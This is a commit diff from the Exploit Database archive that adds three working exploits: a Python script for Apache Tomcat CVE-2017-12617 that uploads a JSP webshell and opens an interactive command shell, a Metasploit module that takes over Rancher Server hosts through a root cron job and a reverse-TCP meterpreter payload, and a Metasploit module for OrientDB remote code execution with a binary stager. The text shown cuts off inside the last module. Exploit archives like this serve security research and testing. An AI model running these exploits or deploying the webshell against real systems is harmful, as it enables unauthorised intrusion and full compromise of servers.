DB: 2017-10-10
3 new exploits Rancher Server - Docker Daemon Code Execution (Metasploit) OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit) Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution
This commit is contained in:
Offensive Security
parent
99ad37a918
commit
b49ee665d7
4 changed files with 705 additions and 0 deletions
|
|
@ -15894,6 +15894,8 @@ id,file,description,date,author,platform,type,port
|
|||
42949,platforms/linux/remote/42949.txt,"UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Unauthenticated Root Remote Code Execution",2017-10-02,agix,linux,remote,0
|
||||
42952,platforms/windows/remote/42952.py,"ERS Data System 1.8.1 - Java Deserialization",2017-09-21,"West Shepherd",windows,remote,0
|
||||
42958,platforms/linux/remote/42958.py,"Unitrends UEB 9.1 - Authentication Bypass / Remote Command Execution",2017-08-08,"Jared Arave",linux,remote,0
|
||||
42964,platforms/lin_x86-64/remote/42964.rb,"Rancher Server - Docker Daemon Code Execution (Metasploit)",2017-10-09,Metasploit,lin_x86-64,remote,8080
|
||||
42965,platforms/multiple/remote/42965.rb,"OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit)",2017-10-09,Metasploit,multiple,remote,2480
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
@ -38660,3 +38662,4 @@ id,file,description,date,author,platform,type,port
|
|||
42956,platforms/hardware/webapps/42956.txt,"NETGEAR ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution",2017-09-27,"Kacper Szurek",hardware,webapps,0
|
||||
42959,platforms/php/webapps/42959.py,"Unitrends UEB 9.1 - Privilege Escalation",2017-08-08,"Jared Arave",php,webapps,0
|
||||
42961,platforms/ruby/webapps/42961.txt,"Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery",2017-08-30,"Dhiraj Mishra",ruby,webapps,0
|
||||
42966,platforms/jsp/webapps/42966.py,"Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution",2017-10-09,intx0x80,jsp,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
212
platforms/jsp/webapps/42966.py
Executable file
212
platforms/jsp/webapps/42966.py
Executable file
|
|
@ -0,0 +1,212 @@
|
|||
#!/usr/bin/python
|
||||
import requests
|
||||
import re
|
||||
import signal
|
||||
from optparse import OptionParser
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
class bcolors:
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKGREEN = '\033[92m'
|
||||
WARNING = '\033[93m'
|
||||
FAIL = '\033[91m'
|
||||
ENDC = '\033[0m'
|
||||
BOLD = '\033[1m'
|
||||
UNDERLINE = '\033[4m'
|
||||
|
||||
|
||||
|
||||
|
||||
banner="""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
|
||||
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
|
||||
|
||||
exit()
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
|
||||
|
||||
|
||||
def removetags(tags):
|
||||
remove = re.compile('<.*?>')
|
||||
txt = re.sub(remove, '\n', tags)
|
||||
return txt.replace("\n\n\n","\n")
|
||||
|
||||
|
||||
def getContent(url,f):
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
re=requests.get(str(url)+"/"+str(f), headers=headers)
|
||||
return re.content
|
||||
|
||||
def createPayload(url,f):
|
||||
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
|
||||
if req.status_code==201:
|
||||
print "File Created .."
|
||||
|
||||
|
||||
def RCE(url,f):
|
||||
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
||||
<INPUT name='cmd' type=text>
|
||||
<INPUT type=submit value='Run'>
|
||||
</FORM>
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
String output = "";
|
||||
if(cmd != null) {
|
||||
String s = null;
|
||||
try {
|
||||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||||
BufferedReader sI = new BufferedReader(new
|
||||
InputStreamReader(p.getInputStream()));
|
||||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||||
} catch(IOException e) { e.printStackTrace(); }
|
||||
}
|
||||
%>
|
||||
<pre><%=output %></pre>"""
|
||||
|
||||
|
||||
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
|
||||
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
|
||||
|
||||
|
||||
|
||||
def shell(url,f):
|
||||
|
||||
while True:
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
cmd=raw_input("$ ")
|
||||
payload={'cmd':cmd}
|
||||
if cmd=="q" or cmd=="Q":
|
||||
break
|
||||
|
||||
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
|
||||
re=str(re.content)
|
||||
t=removetags(re)
|
||||
print t
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#print bcolors.HEADER+ banner+bcolors.ENDC
|
||||
|
||||
parse=OptionParser(
|
||||
|
||||
|
||||
bcolors.HEADER+"""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
|
||||
./cve-2017-12617.py [options]
|
||||
|
||||
options:
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
[+]usage:
|
||||
|
||||
./cve-2017-12617.py -u http://127.0.0.1
|
||||
./cve-2017-12617.py --url http://127.0.0.1
|
||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||
./cve-2017-12617.py -l hotsts.txt
|
||||
./cve-2017-12617.py --list hosts.txt
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""+bcolors.ENDC
|
||||
|
||||
)
|
||||
|
||||
|
||||
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
||||
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
||||
|
||||
(opt,args)=parse.parse_args()
|
||||
|
||||
if opt.U==None and opt.P==None and opt.L==None:
|
||||
print(parse.usage)
|
||||
exit(0)
|
||||
|
||||
|
||||
|
||||
else:
|
||||
if opt.U!=None and opt.P==None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
url=str(opt.U)
|
||||
checker="Poc.jsp"
|
||||
print bcolors.BOLD +"Poc Filename {}".format(checker)
|
||||
createPayload(str(url)+"/",checker)
|
||||
con=getContent(str(url)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
|
||||
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
|
||||
|
||||
else:
|
||||
print 'Not Vulnerable to CVE-2017-12617 '
|
||||
elif opt.P!=None and opt.U!=None and opt.L==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
pwn=str(opt.P)
|
||||
url=str(opt.U)
|
||||
print "Uploading Webshell ....."
|
||||
pwn=pwn+".jsp"
|
||||
RCE(str(url)+"/",pwn)
|
||||
shell(str(url),pwn)
|
||||
elif opt.L!=None and opt.P==None and opt.U==None:
|
||||
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||
w=str(opt.L)
|
||||
f=open(w,"r")
|
||||
print "Scaning hosts in {}".format(w)
|
||||
checker="Poc.jsp"
|
||||
for i in f.readlines():
|
||||
i=i.strip("\n")
|
||||
createPayload(str(i)+"/",checker)
|
||||
con=getContent(str(i)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
|
||||
234
platforms/lin_x86-64/remote/42964.rb
Executable file
234
platforms/lin_x86-64/remote/42964.rb
Executable file
|
|
@ -0,0 +1,234 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Rancher Server - Docker Exploit',
|
||||
'Description' => %q(
|
||||
Utilizing Rancher Server, an attacker can create a docker container
|
||||
with the '/' path mounted with read/write permissions on the host
|
||||
server that is running the docker container. As the docker container
|
||||
executes command as uid 0 it is honored by the host operating system
|
||||
allowing the attacker to edit/create files owed by root. This exploit
|
||||
abuses this to creates a cron job in the '/etc/cron.d/' path of the
|
||||
host server.
|
||||
|
||||
The Docker image should exist on the target system or be a valid image
|
||||
from hub.docker.com.
|
||||
|
||||
Use `check` with verbose mode to get a list of exploitable Rancher
|
||||
Hosts managed by the target system.
|
||||
),
|
||||
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X64],
|
||||
'Payload' => { 'Space' => 65000 },
|
||||
'Targets' => [[ 'Linux', {} ]],
|
||||
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 27, 2017'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
|
||||
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
|
||||
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
|
||||
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
|
||||
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
|
||||
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
|
||||
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def del_container(rancher_container_id, container_id)
|
||||
res = send_request_cgi(
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
return vprint_good('The docker container has been removed.') if res && res.code == 200
|
||||
|
||||
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
|
||||
end
|
||||
|
||||
def make_container_id
|
||||
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
|
||||
|
||||
rand_text_alpha_lower(8)
|
||||
end
|
||||
|
||||
def make_cmd(mnt_path, cron_path, payload_path)
|
||||
vprint_status('Creating the docker container command')
|
||||
echo_cron_path = mnt_path + cron_path
|
||||
echo_payload_path = mnt_path + payload_path
|
||||
|
||||
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
|
||||
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
def make_container(mnt_path, cron_path, payload_path, container_id)
|
||||
vprint_status('Setting container json request variables')
|
||||
{
|
||||
'instanceTriggeredStop' => 'stop',
|
||||
'startOnCreate' => true,
|
||||
'networkMode' => 'managed',
|
||||
'requestedHostId' => datastore['TARGETHOST'],
|
||||
'type' => 'container',
|
||||
'dataVolumes' => [ '/:' + mnt_path ],
|
||||
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
|
||||
'name' => container_id,
|
||||
'command' => make_cmd(mnt_path, cron_path, payload_path),
|
||||
'entryPoint' => %w[sh -c]
|
||||
}
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
print_error('Failed to connect to the target')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
|
||||
print_error('Authorization is required. Provide valid Rancher API Keys.')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
|
||||
target_found = false
|
||||
target_selected = false
|
||||
|
||||
environments = JSON.parse(res.body)['data']
|
||||
environments.each do |e|
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
hosts = JSON.parse(res.body)['data']
|
||||
hosts.each do |h|
|
||||
target_found = true
|
||||
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
|
||||
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
|
||||
|
||||
# flag results when this host is targeted via options
|
||||
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
|
||||
target_selected = true
|
||||
vprint_good(result + ' %red<-- targeted%clr')
|
||||
else
|
||||
vprint_good(result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if target_found
|
||||
return Exploit::CheckCode::Vulnerable if target_selected
|
||||
|
||||
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
|
||||
if datastore['VERBOSE'] == false
|
||||
print_bad('Try verbose mode to know what happened.')
|
||||
end
|
||||
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_bad('No TARGETHOST available')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Failure::Unknown, 'Failed to connect to the target')
|
||||
end
|
||||
|
||||
# create required information to create json container information
|
||||
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
||||
payload_path = '/tmp/' + rand_text_alpha(8)
|
||||
mnt_path = '/mnt/' + rand_text_alpha(8)
|
||||
container_id = make_container_id
|
||||
|
||||
# deploy docker container
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' },
|
||||
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
|
||||
)
|
||||
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
|
||||
|
||||
print_good('The docker container is created, waiting for it to deploy')
|
||||
|
||||
# cleanup
|
||||
register_files_for_cleanup(cron_path, payload_path)
|
||||
|
||||
rancher_container_id = JSON.parse(res.body)['id']
|
||||
deleted_container = false
|
||||
|
||||
sleep_time = 5
|
||||
wait_time = datastore['WAIT_TIMEOUT']
|
||||
vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
|
||||
|
||||
while wait_time > 0
|
||||
sleep(sleep_time)
|
||||
wait_time -= sleep_time
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
next unless res && res.code == 200 && res.body.include?('stopped')
|
||||
|
||||
vprint_good('The docker container has stopped, now trying to remove it')
|
||||
del_container(rancher_container_id, container_id)
|
||||
deleted_container = true
|
||||
wait_time = 0
|
||||
end
|
||||
|
||||
# if container does not deploy, try to remove it and fail out
|
||||
unless deleted_container
|
||||
del_container(rancher_container_id, container_id)
|
||||
fail_with(Failure::Unknown, "The docker container failed to start")
|
||||
end
|
||||
|
||||
print_status('Waiting for the cron job to run, can take up to 60 seconds')
|
||||
end
|
||||
end
|
||||
256
platforms/multiple/remote/42965.rb
Executable file
256
platforms/multiple/remote/42965.rb
Executable file
|
|
@ -0,0 +1,256 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OrientDB 2.2.x Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
||||
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
|
||||
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
|
||||
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
|
||||
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
|
||||
],
|
||||
'Platform' => %w{ linux unix win },
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 13 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2480),
|
||||
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
|
||||
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri
|
||||
uri.path = normalize_uri(uri.path)
|
||||
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
|
||||
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
|
||||
print_good("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def http_send_command(cmd, opts = {})
|
||||
# 1 -Create the malicious function
|
||||
func_name = Rex::Text::rand_text_alpha(5).downcase
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
if not (res and res.code == 201)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 2 - Trigger the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => ""
|
||||
}
|
||||
req = send_request_raw(request_parameters)
|
||||
if not (req and req.code == 200)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 3 - Get the malicious function id
|
||||
if res && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["@rid"]
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
|
||||
return
|
||||
end
|
||||
end
|
||||
func_id = json_body.slice(1..-1)
|
||||
# 4 - Delete the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => ""
|
||||
}
|
||||
rer = send_request_raw(request_parameters)
|
||||
if not (rer and rer.code == 204)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def java_craft_runtime_exec(cmd)
|
||||
decoder = Rex::Text.rand_text_alpha(5, 8)
|
||||
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
||||
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
||||
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
||||
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
||||
jcode << "String [] #{cmd_array} = new String[3];\n"
|
||||
if target['Platform'] == 'win'
|
||||
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
||||
else
|
||||
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"-c\";\n"
|
||||
end
|
||||
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
||||
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
||||
jcode
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
if not @to_delete.nil?
|
||||
print_warning("Deleting #{@to_delete} payload file")
|
||||
execute_command("rm #{@to_delete}")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
vprint_status("Attempting to execute: #{cmd}")
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
http_send_command(cmd,targetdb)
|
||||
end
|
||||
|
||||
def linux_stager
|
||||
cmds = "echo LINE | tee FILE"
|
||||
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
base64 = Rex::Text.encode_base64(exe)
|
||||
base64.gsub!(/\=/, "\\u003d")
|
||||
file = rand_text_alphanumeric(4+rand(4))
|
||||
execute_command("touch /tmp/#{file}.b64")
|
||||
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
||||
base64.each_line do |line|
|
||||
line.chomp!
|
||||
cmd = cmds
|
||||
cmd.gsub!(/LINE/, line)
|
||||
execute_command(cmds)
|
||||
end
|
||||
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
||||
execute_command("chmod +x /tmp/#{file}")
|
||||
execute_command("rm /tmp/#{file}.b64")
|
||||
execute_command("/tmp/#{file}")
|
||||
@to_delete = "/tmp/#{file}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
privs_enable = ['create','read','update','execute','delete']
|
||||
items = ['database.class.ouser','database.function','database.systemclusters']
|
||||
# Set the required DB permissions
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "GRANT #{priv} ON #{item} TO writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
# Exploit
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||
execute_cmdstager(flavor: :vbs)
|
||||
when 'unix'
|
||||
print_status("#{rhost}:#{rport} - Sending payload...")
|
||||
res = http_send_command("#{payload.encoded}","#{targetdb}")
|
||||
when 'linux'
|
||||
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
||||
linux_stager
|
||||
end
|
||||
handler
|
||||
# Final Cleanup
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
